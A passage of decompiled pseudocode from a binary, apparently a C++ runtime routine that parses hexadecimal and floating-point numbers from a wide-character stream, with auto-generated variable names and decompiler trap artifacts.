				signed int _t1053;
				void* _t1054;
				intOrPtr _t1055;
				intOrPtr* _t1056;
				long long _t1058;
				signed short* _t1060;
				intOrPtr* _t1061;
				char* _t1062;
				void* _t1066;
				long long* _t1069;
				signed int _t1071;
				signed int _t1074;
				long long _t1075;
				void* _t1077;
				void* _t1078;
				intOrPtr* _t1079;
				long long _t1080;
				char* _t1081;
				signed int _t1083;
				char* _t1084;
				void* _t1085;
				void* _t1086;
				char* _t1088;
				void* _t1089;
				signed int _t1090;
				char* _t1091;
				long long _t1092;
				signed int _t1094;
				void* _t1095;
				short* _t1096;
				long long _t1099;
				long long _t1100;

				_t1095 = __r15;
				_t1089 = __r14;
				_t1086 = __r13;
				_t1078 = __r12;
				_t1075 = __r9;
				_t1069 = __r8;
				_t1042 = __rdi;
				_t987 = __rdx;
				_t881 = __rbx;
				_t1054 = __rax;
				_t707 = _v32;
				if(_t707 >= 0x10) {
					_t986 = _v56;
					if(_t707 + 1 >= 0x1000) {
						_t986 =  *((intOrPtr*)(_t986 - 8));
					}
					_t415 = E00402090(_t415, _t986);
				}
				_t416 = E0044CEA0(_t415, _t1054);
				asm("ud2");
				_t708 =  *_t1061;
				 *_t708 =  *_t708 + _t416;
				 *_t708 =  *_t708 + _t416;
				0;
				0;
				_t1062 =  &_v192;
				_a96 = _t1075;
				_t882 = _t1069;
				_t1090 = _t987;
				_t1055 = _a224;
				_t885 =  *((intOrPtr*)( *((intOrPtr*)(_t1055 + 0x40))));
				_v32 = _t885;
				_t710 =  *_t885;
				 *((intOrPtr*)(_t710 + 0x10))(_t881, _t1042, _t1054, _t1078, _t1086, _t1089, _t1095, _t1061, _t1066);
				E00412FF0(_t530, _t549, _t557, _t602,  &_v32, _t1069, _t1075, _t1077, _t1078, _t1086, _t1090, _t1095);
				_t1079 = _t710;
				_t887 = _v32;
				if(_t887 != 0) {
					_t879 =  *_t887;
					 *((intOrPtr*)(_t879 + 0x18))();
					if(_t879 != 0) {
						 *((intOrPtr*)( *_t879 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1079 + 0x30))();
				_t889 =  *((intOrPtr*)( *((intOrPtr*)(_t1055 + 0x40))));
				_a40 = _t889;
				_t713 =  *_t889;
				 *((intOrPtr*)(_t713 + 0x10))();
				E004119C0(_t530, _t549, _t557, _t602,  &_a40, _t1069, _t1075, _t1077, _t1090);
				_t1056 = _t713;
				_t891 = _a40;
				if(_t891 != 0) {
					_t878 =  *_t891;
					 *((intOrPtr*)(_t878 + 0x18))();
					if(_t878 != 0) {
						 *((intOrPtr*)( *_t878 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1056 + 0x68))();
				_t893 =  *_t882;
				_t568 = 0;
				_t558 = 0;
				if(_t893 != 0) {
					_t876 =  *((intOrPtr*)( *((intOrPtr*)(_t893 + 0x38))));
					if(_t876 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t893 + 0x50)))) <= 0) {
						_t524 =  *((intOrPtr*)( *_t893 + 0x38))();
					} else {
						_t524 =  *_t876 & 0x0000ffff;
					}
					_t558 = 0;
					dil = (_t524 & 0x0000ffff) != 0xffff;
				}
				_t894 =  *_a96;
				if(_t894 != 0) {
					_t873 =  *((intOrPtr*)( *((intOrPtr*)(_t894 + 0x38))));
					if(_t873 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t894 + 0x50)))) <= 0) {
						_t522 =  *((intOrPtr*)( *_t894 + 0x38))();
					} else {
						_t522 =  *_t873 & 0x0000ffff;
					}
					_t568 = 0;
					sil = (_t522 & 0x0000ffff) != 0xffff;
				}
				_t1096 = _t1090;
				if(_t558 != _t568) {
					if( *(_t882 + 8) == 0) {
						_t983 =  *_t882;
						if(_t983 == 0) {
							L34:
							 *_t882 = 0;
						} else {
							_t870 =  *((intOrPtr*)( *((intOrPtr*)(_t983 + 0x38))));
							if(_t870 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t983 + 0x50)))) <= 0) {
								_t521 =  *((intOrPtr*)( *_t983 + 0x38))();
							} else {
								_t521 =  *_t870 & 0x0000ffff;
							}
							_t531 = _t521 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L34;
							} else {
								 *(_t882 + 0xa) = _t521;
							}
						}
						 *(_t882 + 8) = 1;
					}
					_t517 =  *(_t882 + 0xa) & 0x0000ffff;
					if(_t517 != _a14) {
						__eflags = _t517 - _a12;
						_t1096 = _t1090;
						if(_t517 == _a12) {
							 *_t1090 = 0x2d;
							_t980 =  *_t882;
							__eflags = _t980;
							if(_t980 == 0) {
								goto L49;
							} else {
								_t866 =  *((intOrPtr*)(_t980 + 0x38));
								_t1036 =  *_t866;
								__eflags = _t1036;
								if(_t1036 == 0) {
									L46:
									_t519 =  *((intOrPtr*)( *_t980 + 0x40))();
								} else {
									_t1042 =  *((intOrPtr*)(_t980 + 0x50));
									_t600 =  *_t1042;
									__eflags = _t600;
									if(_t600 <= 0) {
										goto L46;
									} else {
										goto L45;
									}
								}
								goto L47;
							}
							goto L50;
						}
					} else {
						 *_t1090 = 0x2b;
						_t982 =  *_t882;
						if(_t982 == 0) {
							L49:
							 *_t882 = 0;
							_t518 = 1;
						} else {
							_t866 =  *((intOrPtr*)(_t982 + 0x38));
							_t1036 =  *_t866;
							if(_t1036 == 0) {
								L40:
								_t519 =  *((intOrPtr*)( *_t982 + 0x40))();
							} else {
								_t1042 =  *((intOrPtr*)(_t982 + 0x50));
								_t600 =  *_t1042;
								if(_t600 > 0) {
									L45:
									 *_t1042 = _t600 - 1;
									 *_t866 =  &(_t1036[1]);
									_t519 =  *_t1036 & 0x0000ffff;
								} else {
									goto L40;
								}
							}
							L47:
							if((_t519 & 0x0000ffff) == 0xffff) {
								goto L49;
							} else {
								_t518 = 0;
							}
						}
						L50:
						_t1096 = _t1090 + 1;
						 *(_t882 + 8) = _t518;
					}
				}
				 *_t1096 = 0x7830;
				_t895 =  *_t882;
				_t569 = 0;
				_t559 = 0;
				if(_t895 != 0) {
					_t864 =  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x38))));
					if(_t864 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x50)))) <= 0) {
						_t515 =  *((intOrPtr*)( *_t895 + 0x38))();
					} else {
						_t515 =  *_t864 & 0x0000ffff;
					}
					_t559 = 0;
					dil = (_t515 & 0x0000ffff) != 0xffff;
				}
				_t716 = _a96;
				_t896 =  *_t716;
				if(_t896 != 0) {
					_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x38))));
					if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x50)))) <= 0) {
						_t716 =  *_t896;
						_t513 = _t716[0x1c]();
					} else {
						_t513 =  *_t716 & 0x0000ffff;
					}
					_t569 = 0;
					sil = (_t513 & 0x0000ffff) != 0xffff;
				}
				if(_t559 == _t569) {
					L118:
					_t559 = 0;
				} else {
					if( *(_t882 + 8) == 0) {
						_t979 =  *_t882;
						if(_t979 == 0) {
							L72:
							 *_t882 = 0;
						} else {
							_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x38))));
							if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x50)))) <= 0) {
								_t716 =  *_t979;
								_t512 = _t716[0x1c]();
							} else {
								_t512 =  *_t716 & 0x0000ffff;
							}
							_t531 = _t512 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L72;
							} else {
								 *(_t882 + 0xa) = _t512;
							}
						}
						 *(_t882 + 8) = 1;
					}
					if(( *(_t882 + 0xa) & 0x0000ffff) != _v32) {
						goto L118;
					} else {
						_t972 =  *_t882;
						if(_t972 == 0) {
							L85:
							 *_t882 = 0;
							 *(_t882 + 8) = 1;
							goto L86;
						} else {
							_t856 =  *((intOrPtr*)(_t972 + 0x38));
							_t1031 =  *_t856;
							if(_t1031 == 0) {
								L79:
								_t508 =  *((intOrPtr*)( *_t972 + 0x40))();
							} else {
								_t1042 =  *((intOrPtr*)(_t972 + 0x50));
								_t598 =  *_t1042;
								if(_t598 <= 0) {
									goto L79;
								} else {
									 *_t1042 = _t598 - 1;
									 *_t856 =  &(_t1031[1]);
									_t508 =  *_t1031 & 0x0000ffff;
								}
							}
							if((_t508 & 0x0000ffff) == 0xffff) {
								goto L85;
							} else {
								_t977 =  *_t882;
								 *(_t882 + 8) = 0;
								if(_t977 == 0) {
									L86:
									_t595 = 0;
								} else {
									_t859 =  *((intOrPtr*)( *((intOrPtr*)(_t977 + 0x38))));
									if(_t859 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t977 + 0x50)))) <= 0) {
										_t510 =  *((intOrPtr*)( *_t977 + 0x38))();
									} else {
										_t510 =  *_t859 & 0x0000ffff;
									}
									_t595 = 0;
									sil = (_t510 & 0x0000ffff) != 0xffff;
								}
							}
						}
						_t716 = _a96;
						_t973 =  *_t716;
						if(_t973 == 0) {
							_t500 = 0;
							__eflags = 0;
						} else {
							_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t973 + 0x38))));
							if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t973 + 0x50)))) <= 0) {
								_t716 =  *_t973;
								_t506 = _t716[0x1c]();
							} else {
								_t506 =  *_t716 & 0x0000ffff;
							}
							_t531 = _t506 & 0x0000ffff;
							_t500 = 0 | _t531 != 0x0000ffff;
						}
						dil = 1;
						if(_t595 != _t500) {
							if( *(_t882 + 8) == 0) {
								_t976 =  *_t882;
								if(_t976 == 0) {
									L105:
									 *_t882 = 0;
								} else {
									_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t976 + 0x38))));
									if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t976 + 0x50)))) <= 0) {
										_t716 =  *_t976;
										_t505 = _t716[0x1c]();
									} else {
										_t505 =  *_t716 & 0x0000ffff;
									}
									_t531 = _t505 & 0x0000ffff;
									if(_t531 == 0xffff) {
										goto L105;
									} else {
										 *(_t882 + 0xa) = _t505;
									}
								}
								 *(_t882 + 8) = 1;
							}
							_t501 =  *(_t882 + 0xa) & 0x0000ffff;
							if(_t501 == _a18 || _t501 == _a16) {
								_t974 =  *_t882;
								if(_t974 == 0) {
									L116:
									 *_t882 = 0;
									_t502 = 1;
								} else {
									_t716 =  *((intOrPtr*)(_t974 + 0x38));
									_t1028 =  *_t716;
									if(_t1028 == 0) {
										L113:
										_t716 =  *_t974;
										_t503 = _t716[0x20]();
									} else {
										_t1042 =  *((intOrPtr*)(_t974 + 0x50));
										_t596 =  *_t1042;
										if(_t596 <= 0) {
											goto L113;
										} else {
											 *_t1042 = _t596 - 1;
											 *_t716 =  &(_t1028[1]);
											_t503 =  *_t1028 & 0x0000ffff;
										}
									}
									if((_t503 & 0x0000ffff) == 0xffff) {
										goto L116;
									} else {
										_t502 = 0;
									}
								}
								 *(_t882 + 8) = _t502;
								goto L118;
							}
						}
					}
				}
				_a108 = _t559;
				_a112 = _t1096 + 2;
				_t1058 =  >  ? _v80 :  &_v80;
				_t423 =  *_t1058;
				_v48 = _t1079;
				if(_t423 == 0x7f || _t423 <= 0) {
					_t1080 = _t1090;
					r13d = 0;
					_t1091 =  &_v34;
					r15d = 0;
					while(1) {
						_t897 =  *_t882;
						__eflags = _t897;
						_t560 = 0;
						if(_t897 == 0) {
							goto L146;
						}
						_t822 =  *((intOrPtr*)( *((intOrPtr*)(_t897 + 0x38))));
						__eflags = _t822;
						if(_t822 == 0) {
							L144:
							_t487 =  *((intOrPtr*)( *_t897 + 0x38))();
						} else {
							__eflags =  *( *(_t897 + 0x50));
							if( *( *(_t897 + 0x50)) <= 0) {
								goto L144;
							} else {
								_t487 =  *_t822 & 0x0000ffff;
							}
						}
						_t560 = 0;
						__eflags = (_t487 & 0x0000ffff) - 0xffff;
						dil = (_t487 & 0x0000ffff) != 0xffff;
						__eflags = dil;
						L146:
						_t898 =  *_a96;
						__eflags = _t898;
						if(_t898 == 0) {
							_t424 = 0;
							__eflags = _t560;
							if(_t560 != 0) {
								goto L152;
							} else {
							}
						} else {
							_t830 =  *((intOrPtr*)( *((intOrPtr*)(_t898 + 0x38))));
							__eflags = _t830;
							if(_t830 == 0) {
								L150:
								_t483 =  *((intOrPtr*)( *_t898 + 0x38))();
							} else {
								__eflags =  *( *(_t898 + 0x50));
								if( *( *(_t898 + 0x50)) <= 0) {
									goto L150;
								} else {
									_t483 =  *_t830 & 0x0000ffff;
								}
							}
							__eflags = (_t483 & 0x0000ffff) - 0xffff;
							_t424 = 0 | __eflags != 0x00000000;
							if(__eflags != 0) {
								L152:
								__eflags =  *(_t882 + 8);
								if( *(_t882 + 8) == 0) {
									_t950 =  *_t882;
									__eflags = _t950;
									if(_t950 == 0) {
										L162:
										 *_t882 = 0;
									} else {
										_t827 =  *((intOrPtr*)( *((intOrPtr*)(_t950 + 0x38))));
										__eflags = _t827;
										if(_t827 == 0) {
											L159:
											_t424 =  *((intOrPtr*)( *_t950 + 0x38))();
										} else {
											__eflags =  *( *(_t950 + 0x50));
											if( *( *(_t950 + 0x50)) <= 0) {
												goto L159;
											} else {
												_t424 =  *_t827 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L162;
										} else {
											 *(_t882 + 0xa) = _t424;
										}
									}
									 *(_t882 + 8) = 1;
								}
								_t532 =  *(_t882 + 0xa) & 0x0000ffff;
								_t718 = _t1091;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t550 =  *(_t718 + 2) & 0x0000ffff;
									_t718 = _t718 + 2;
									__eflags = _t550;
									if(_t550 == 0) {
										break;
									}
									__eflags = _t550 - _t532;
									if(_t550 != _t532) {
										continue;
									} else {
										break;
									}
									goto L171;
								}
								_t720 = _t718 -  &_v32 >> 1;
								__eflags = _t720 - 0x15;
								if(_t720 <= 0x15) {
									__eflags = r13d - 0x30;
									if(r13d < 0x30) {
										__eflags = r13d;
										if(r13d != 0) {
											L130:
											_t946 = _a112;
											 *_t946 =  *((intOrPtr*)(_t720 + "0123456789ABCDEFabcdef-+XxPp"));
											_a112 = _t946 + 1;
											r13d = r13d + 1;
											__eflags = r13d;
										} else {
											__eflags = _t720;
											if(_t720 != 0) {
												goto L130;
											} else {
												r13d = 0;
											}
										}
									} else {
										r15d = r15d + 1;
									}
									_t948 =  *_t882;
									__eflags = _t948;
									if(_t948 == 0) {
										L138:
										 *_t882 = 0;
										_t481 = 1;
									} else {
										_t824 =  *((intOrPtr*)(_t948 + 0x38));
										_t1018 =  *_t824;
										__eflags = _t1018;
										if(_t1018 == 0) {
											L135:
											_t485 =  *((intOrPtr*)( *_t948 + 0x40))();
										} else {
											_t1052 =  *((intOrPtr*)(_t948 + 0x50));
											_t590 =  *_t1052;
											__eflags = _t590;
											if(_t590 <= 0) {
												goto L135;
											} else {
												 *_t1052 = _t590 - 1;
												 *_t824 =  &(_t1018[1]);
												_t485 =  *_t1018 & 0x0000ffff;
											}
										}
										__eflags = (_t485 & 0x0000ffff) - 0xffff;
										if((_t485 & 0x0000ffff) == 0xffff) {
											goto L138;
										} else {
											_t481 = 0;
										}
									}
									 *(_t882 + 8) = _t481;
									_a108 = 1;
									continue;
								}
							}
						}
						_a88 = 0;
						_t1092 = _t1080;
						r12d = r15d;
						__eflags = _a108 & 0x00000001;
						if((_a108 & 0x00000001) != 0) {
							goto L169;
						}
						goto L171;
					}
				} else {
					r13d = 0;
					_a32 = _t1090;
					if(_v64 == 0) {
						_t424 = 0;
						__eflags = 0;
						_a88 = _t716;
					} else {
						_t853 =  *_t1079;
						_t424 =  *((intOrPtr*)(_t853 + 0x28))();
						_a88 = _t853;
					}
					_v40 = _t1058;
					_t1084 =  &_a48;
					_a48 = 0;
					asm("movaps xmm0, [0x358dd]");
					asm("movups [ebp+0x40], xmm0");
					_a84 = 0;
					r14d = 0;
					while(1) {
						_t951 =  *_t882;
						_t567 = 0;
						_t592 = 0;
						if(_t951 != 0) {
							_t841 =  *((intOrPtr*)( *((intOrPtr*)(_t951 + 0x38))));
							if(_t841 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t951 + 0x50)))) <= 0) {
								_t495 =  *((intOrPtr*)( *_t951 + 0x38))();
							} else {
								_t495 =  *_t841 & 0x0000ffff;
							}
							_t424 = _t495 & 0x0000ffff;
							_t592 = 0;
							sil = (_t495 & 0x0000ffff) != 0xffff;
						}
						_t832 = _a96;
						_t952 =  *_t832;
						if(_t952 != 0) {
							_t832 =  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x38))));
							if(_t832 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x50)))) <= 0) {
								_t832 =  *_t952;
								_t494 = _t832[0x1c]();
							} else {
								_t494 =  *_t832 & 0x0000ffff;
							}
							_t424 = _t494 & 0x0000ffff;
							_t567 = 0;
							dil = (_t494 & 0x0000ffff) != 0xffff;
						}
						if(_t592 == _t567) {
							break;
						}
						if( *(_t882 + 8) == 0) {
							_t970 =  *_t882;
							if(_t970 == 0) {
								L236:
								 *_t882 = 0;
							} else {
								_t832 =  *((intOrPtr*)( *((intOrPtr*)(_t970 + 0x38))));
								if(_t832 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t970 + 0x50)))) <= 0) {
									_t832 =  *_t970;
									_t493 = _t832[0x1c]();
								} else {
									_t493 =  *_t832 & 0x0000ffff;
								}
								_t531 = _t493 & 0x0000ffff;
								if(_t531 == 0xffff) {
									goto L236;
								} else {
									 *(_t882 + 0xa) = _t493;
								}
							}
							 *(_t882 + 8) = 1;
						}
						_t424 =  *(_t882 + 0xa) & 0x0000ffff;
						_t954 =  &_v34;
						asm("o16 nop [cs:eax+eax]");
						while(1) {
							_t555 =  *(_t954 + 2) & 0x0000ffff;
							_t954 = _t954 + 2;
							if(_t555 == 0) {
								break;
							}
							if(_t555 != _t424) {
								continue;
							} else {
							}
							break;
						}
						_t956 = _t954 -  &_v32 >> 1;
						if(_t956 > 0x15) {
							__eflags = _a72 - 0xf;
							_t958 =  <=  ? _t1084 : _a48;
							__eflags =  *((char*)(_t958 + _t1090));
							if( *((char*)(_t958 + _t1090)) == 0) {
								break;
							} else {
								__eflags = _a88;
								if(_a88 == 0) {
									break;
								} else {
									__eflags = _t424 - _a88;
									if(_t424 != _a88) {
										break;
									} else {
										_t1099 = _a64;
										__eflags = _t1099 - 0xfffffffe;
										if(_t1099 >= 0xfffffffe) {
											_t489 = L00430CE0(_t530, _t555, _t602, _t832, "string too long", _t1042, _t1058);
											asm("ud2");
											_t1060 = _t832;
											_t837 = _a72;
											__eflags = _t837 - 0x10;
											if(_t837 >= 0x10) {
												_t962 = _a48;
												__eflags = _t837 + 1 - 0x1000;
												if(_t837 + 1 >= 0x1000) {
													_t962 =  *((intOrPtr*)(_t962 - 8));
												}
												_t489 = E00402090(_t489, _t962);
											}
											_t838 = _v56;
											__eflags = _t838 - 0x10;
											if(_t838 >= 0x10) {
												_t961 = _v80;
												_t838 = _t838 + 1;
												__eflags = _t838 - 0x1000;
												if(_t838 >= 0x1000) {
													_t961 =  *((intOrPtr*)(_t961 - 8));
												}
												_t489 = E00402090(_t489, _t961);
											}
											E0044CEA0(_t489, _t1060);
											asm("ud2");
											 *0x44eb4d =  *0x44eb4d + r8b;
											 *_t838 =  *_t838 + 0x64;
											_t413 = _t838 - 0x6f6f6f70;
											 *_t413 =  *(_t838 - 0x6f6f6f70) + _t555;
											__eflags =  *_t413;
											_push(_t1062);
											return 0x64;
										} else {
											_t1100 = _t1099 + 1;
											r8d = 0;
											_t492 = E00404270(_t424,  &_a40, _t1100);
											__eflags = _t492;
											if(_t492 != 0) {
												__eflags = _a72 - 0xf;
												_t967 =  <=  ? _t1084 : _a48;
												 *((char*)(( <=  ? _t1084 : _a48) + _a64)) = 0;
												__eflags = _a72 - 0xf;
												_t847 =  <=  ? _t1084 : _a48;
												__eflags = _t847;
												_a64 = _t1100;
												 *((char*)(_t847 + _t1100)) = 0;
											}
											_t1090 = _t1090 + 1;
											goto L208;
										}
									}
								}
							}
						} else {
							if(r13d < 0x30) {
								__eflags = r13d;
								if(r13d != 0) {
									L205:
									_t968 = _a112;
									 *_t968 =  *((intOrPtr*)(_t956 + "0123456789ABCDEFabcdef-+XxPp"));
									_a112 = _t968 + 1;
									r13d = r13d + 1;
									__eflags = r13d;
								} else {
									__eflags = _t956;
									if(_t956 != 0) {
										goto L205;
									} else {
										r13d = 0;
									}
								}
							} else {
								_a84 = _a84 + 1;
							}
							_t850 =  <=  ? _t1084 : _a48;
							_t531 =  *(_t850 + _t1090);
							_a108 = 1;
							if(_t531 != 0x7f) {
								_t531 = _t531 + 1;
								 *(_t850 + _t1090) = _t531;
							}
							L208:
							_t964 =  *_t882;
							if(_t964 == 0) {
								L191:
								 *_t882 = 0;
								_t424 = 1;
								 *(_t882 + 8) = 1;
							} else {
								_t843 =  *((intOrPtr*)(_t964 + 0x38));
								_t1027 =  *_t843;
								if(_t1027 == 0) {
									L212:
									_t496 =  *((intOrPtr*)( *_t964 + 0x40))();
								} else {
									_t1042 =  *((intOrPtr*)(_t964 + 0x50));
									_t593 =  *_t1042;
									if(_t593 <= 0) {
										goto L212;
									} else {
										 *_t1042 = _t593 - 1;
										_t183 =  &(_t1027[1]); // 0x3
										 *_t843 = _t183;
										_t496 =  *_t1027 & 0x0000ffff;
									}
								}
								if((_t496 & 0x0000ffff) == 0xffff) {
									goto L191;
								} else {
									_t424 = 0;
									 *(_t882 + 8) = 0;
								}
							}
							continue;
						}
						goto L530;
					}
					__eflags = _t1090;
					if(_t1090 == 0) {
						_t592 = 0;
						__eflags = 0;
						goto L256;
					} else {
						__eflags = _a72 - 0xf;
						_t836 =  <=  ? _t1084 : _a48;
						_t553 =  *((intOrPtr*)(_t836 + _t1090));
						_t424 = 0;
						__eflags = _t553;
						_t547 = _t531 & 0xffffff00 | _t553 > 0x00000000;
						__eflags = _t553;
						sil = _t553 <= 0;
						__eflags = sil;
						if(sil <= 0) {
							L256:
							_t833 = _a72;
						} else {
							_t424 = _t547;
							_t1094 = _t1090 + _t836;
							__eflags = _t1094;
							if(_t1094 == 0) {
								goto L256;
							} else {
								_t833 = _a72;
								__eflags = _t833 - 0xf;
								_t1085 =  >  ? _a48 : _t1084;
								_t1053 = _v40;
								while(1) {
									_t548 =  *_t1053 & 0x000000ff;
									__eflags = _t548 - 0x7f;
									if(_t548 == 0x7f) {
										break;
									}
									__eflags = _t1094 - 1;
									_t554 =  *(_t1085 + _t1094 - 1) & 0x000000ff;
									if(_t1094 != 1) {
										__eflags = _t548 - _t554;
										if(_t548 != _t554) {
											goto L379;
										} else {
											goto L251;
										}
									} else {
										__eflags = _t548 - _t554;
										if(_t548 >= _t554) {
											L251:
											_t1094 = _t1094 - 1;
											__eflags =  *(_t1053 + 1);
											if( *(_t1053 + 1) > 0) {
												_t1053 = _t1053 + 1;
												__eflags = _t1053;
											}
											__eflags = _t1094;
											if(_t1094 != 0) {
												continue;
											} else {
												break;
											}
										} else {
											L379:
											sil = 1;
										}
									}
									goto L257;
								}
								_t592 = 0;
							}
						}
					}
					L257:
					__eflags = _t833 - 0x10;
					_t1092 = _a32;
					r12d = _a84;
					if(_t833 >= 0x10) {
						_t953 = _a48;
						__eflags = _t833 + 1 - 0x1000;
						if(_t833 + 1 >= 0x1000) {
							_t953 =  *((intOrPtr*)(_t953 - 8));
						}
						_t424 = E00402090(_t424, _t953);
					}
					_a88 = _t592;
					__eflags = _a108 & 0x00000001;
					if((_a108 & 0x00000001) != 0) {
						L169:
						__eflags = r13d;
						if(r13d == 0) {
							_t819 = _a112;
							 *_t819 = 0x30;
							_t820 = _t819 + 1;
							__eflags = _t820;
							_a112 = _t820;
						}
						goto L171;
					} else {
						L171:
						_t900 =  *_t882;
						_t570 = 0;
						__eflags = _t900;
						_t561 = 0;
						r15d = r12d;
						if(_t900 != 0) {
							_t817 =  *((intOrPtr*)( *((intOrPtr*)(_t900 + 0x38))));
							__eflags = _t817;
							if(_t817 == 0) {
								L175:
								_t479 =  *((intOrPtr*)( *_t900 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t900 + 0x50));
								if( *( *(_t900 + 0x50)) <= 0) {
									goto L175;
								} else {
									_t479 =  *_t817 & 0x0000ffff;
								}
							}
							_t424 = _t479 & 0x0000ffff;
							_t561 = 0;
							__eflags = (_t479 & 0x0000ffff) - 0xffff;
							dil = (_t479 & 0x0000ffff) != 0xffff;
							__eflags = dil;
						}
						_t901 =  *_a96;
						__eflags = _t901;
						if(_t901 != 0) {
							_t814 =  *((intOrPtr*)( *((intOrPtr*)(_t901 + 0x38))));
							__eflags = _t814;
							if(_t814 == 0) {
								L181:
								_t478 =  *((intOrPtr*)( *_t901 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t901 + 0x50));
								if( *( *(_t901 + 0x50)) <= 0) {
									goto L181;
								} else {
									_t478 =  *_t814 & 0x0000ffff;
								}
							}
							_t424 = _t478 & 0x0000ffff;
							_t570 = 0;
							__eflags = (_t478 & 0x0000ffff) - 0xffff;
							sil = (_t478 & 0x0000ffff) != 0xffff;
							__eflags = sil;
						}
						__eflags = _t561 - _t570;
						if(_t561 == _t570) {
							L274:
							__eflags = r13d;
							if(r13d == 0) {
								goto L284;
							}
						} else {
							__eflags =  *(_t882 + 8);
							_t1050 = _v48;
							if( *(_t882 + 8) == 0) {
								_t944 =  *_t882;
								__eflags = _t944;
								if(_t944 == 0) {
									L266:
									 *_t882 = 0;
								} else {
									_t811 =  *((intOrPtr*)( *((intOrPtr*)(_t944 + 0x38))));
									__eflags = _t811;
									if(_t811 == 0) {
										L263:
										_t477 =  *((intOrPtr*)( *_t944 + 0x38))();
									} else {
										__eflags =  *( *(_t944 + 0x50));
										if( *( *(_t944 + 0x50)) <= 0) {
											goto L263;
										} else {
											_t477 =  *_t811 & 0x0000ffff;
										}
									}
									__eflags = (_t477 & 0x0000ffff) - 0xffff;
									if((_t477 & 0x0000ffff) == 0xffff) {
										goto L266;
									} else {
										 *(_t882 + 0xa) = _t477;
									}
								}
								 *(_t882 + 8) = 1;
							}
							_t806 =  *_t1050;
							_t424 =  *((intOrPtr*)(_t806 + 0x20))();
							__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _t424;
							if(( *(_t882 + 0xa) & 0x0000ffff) != _t424) {
								r12d = r15d;
								goto L274;
							} else {
								E0043DFF0(_t424);
								 *_a112 =  *((intOrPtr*)( *_t806));
								_t942 =  *_t882;
								__eflags = _t942;
								r12d = r15d;
								if(_t942 == 0) {
									L279:
									 *_t882 = 0;
									_t424 = 1;
								} else {
									_t808 =  *((intOrPtr*)(_t942 + 0x38));
									_t1014 =  *_t808;
									__eflags = _t1014;
									if(_t1014 == 0) {
										L276:
										_t475 =  *((intOrPtr*)( *_t942 + 0x40))();
										r12d = r15d;
									} else {
										_t1051 =  *((intOrPtr*)(_t942 + 0x50));
										_t588 =  *_t1051;
										__eflags = _t588;
										if(_t588 <= 0) {
											goto L276;
										} else {
											 *_t1051 = _t588 - 1;
											 *_t808 =  &(_t1014[1]);
											_t475 =  *_t1014 & 0x0000ffff;
										}
									}
									__eflags = (_t475 & 0x0000ffff) - 0xffff;
									if((_t475 & 0x0000ffff) == 0xffff) {
										goto L279;
									} else {
										_t424 = 0;
									}
								}
								_a112 = _a112 + 1;
								 *(_t882 + 8) = _t424;
								__eflags = r13d;
								if(r13d == 0) {
									while(1) {
										L284:
										_t935 =  *_t882;
										_t584 = 0;
										__eflags = _t935;
										_t566 = 0;
										if(_t935 == 0) {
											goto L290;
										}
										_t796 =  *((intOrPtr*)( *((intOrPtr*)(_t935 + 0x38))));
										__eflags = _t796;
										if(_t796 == 0) {
											L288:
											_t470 =  *((intOrPtr*)( *_t935 + 0x38))();
										} else {
											__eflags =  *( *(_t935 + 0x50));
											if( *( *(_t935 + 0x50)) <= 0) {
												goto L288;
											} else {
												_t470 =  *_t796 & 0x0000ffff;
											}
										}
										_t424 = _t470 & 0x0000ffff;
										_t566 = 0;
										__eflags = (_t470 & 0x0000ffff) - 0xffff;
										dil = (_t470 & 0x0000ffff) != 0xffff;
										__eflags = dil;
										L290:
										_t936 =  *_a96;
										__eflags = _t936;
										if(_t936 != 0) {
											_t804 =  *((intOrPtr*)( *((intOrPtr*)(_t936 + 0x38))));
											__eflags = _t804;
											if(_t804 == 0) {
												L294:
												_t469 =  *((intOrPtr*)( *_t936 + 0x38))();
											} else {
												__eflags =  *( *(_t936 + 0x50));
												if( *( *(_t936 + 0x50)) <= 0) {
													goto L294;
												} else {
													_t469 =  *_t804 & 0x0000ffff;
												}
											}
											_t424 = _t469 & 0x0000ffff;
											_t584 = 0;
											__eflags = (_t469 & 0x0000ffff) - 0xffff;
											sil = (_t469 & 0x0000ffff) != 0xffff;
											__eflags = sil;
										}
										__eflags = _t566 - _t584;
										if(_t566 != _t584) {
											__eflags =  *(_t882 + 8);
											if( *(_t882 + 8) == 0) {
												_t939 =  *_t882;
												__eflags = _t939;
												if(_t939 == 0) {
													L305:
													 *_t882 = 0;
												} else {
													_t801 =  *((intOrPtr*)( *((intOrPtr*)(_t939 + 0x38))));
													__eflags = _t801;
													if(_t801 == 0) {
														L302:
														_t468 =  *((intOrPtr*)( *_t939 + 0x38))();
													} else {
														__eflags =  *( *(_t939 + 0x50));
														if( *( *(_t939 + 0x50)) <= 0) {
															goto L302;
														} else {
															_t468 =  *_t801 & 0x0000ffff;
														}
													}
													__eflags = (_t468 & 0x0000ffff) - 0xffff;
													if((_t468 & 0x0000ffff) == 0xffff) {
														goto L305;
													} else {
														 *(_t882 + 0xa) = _t468;
													}
												}
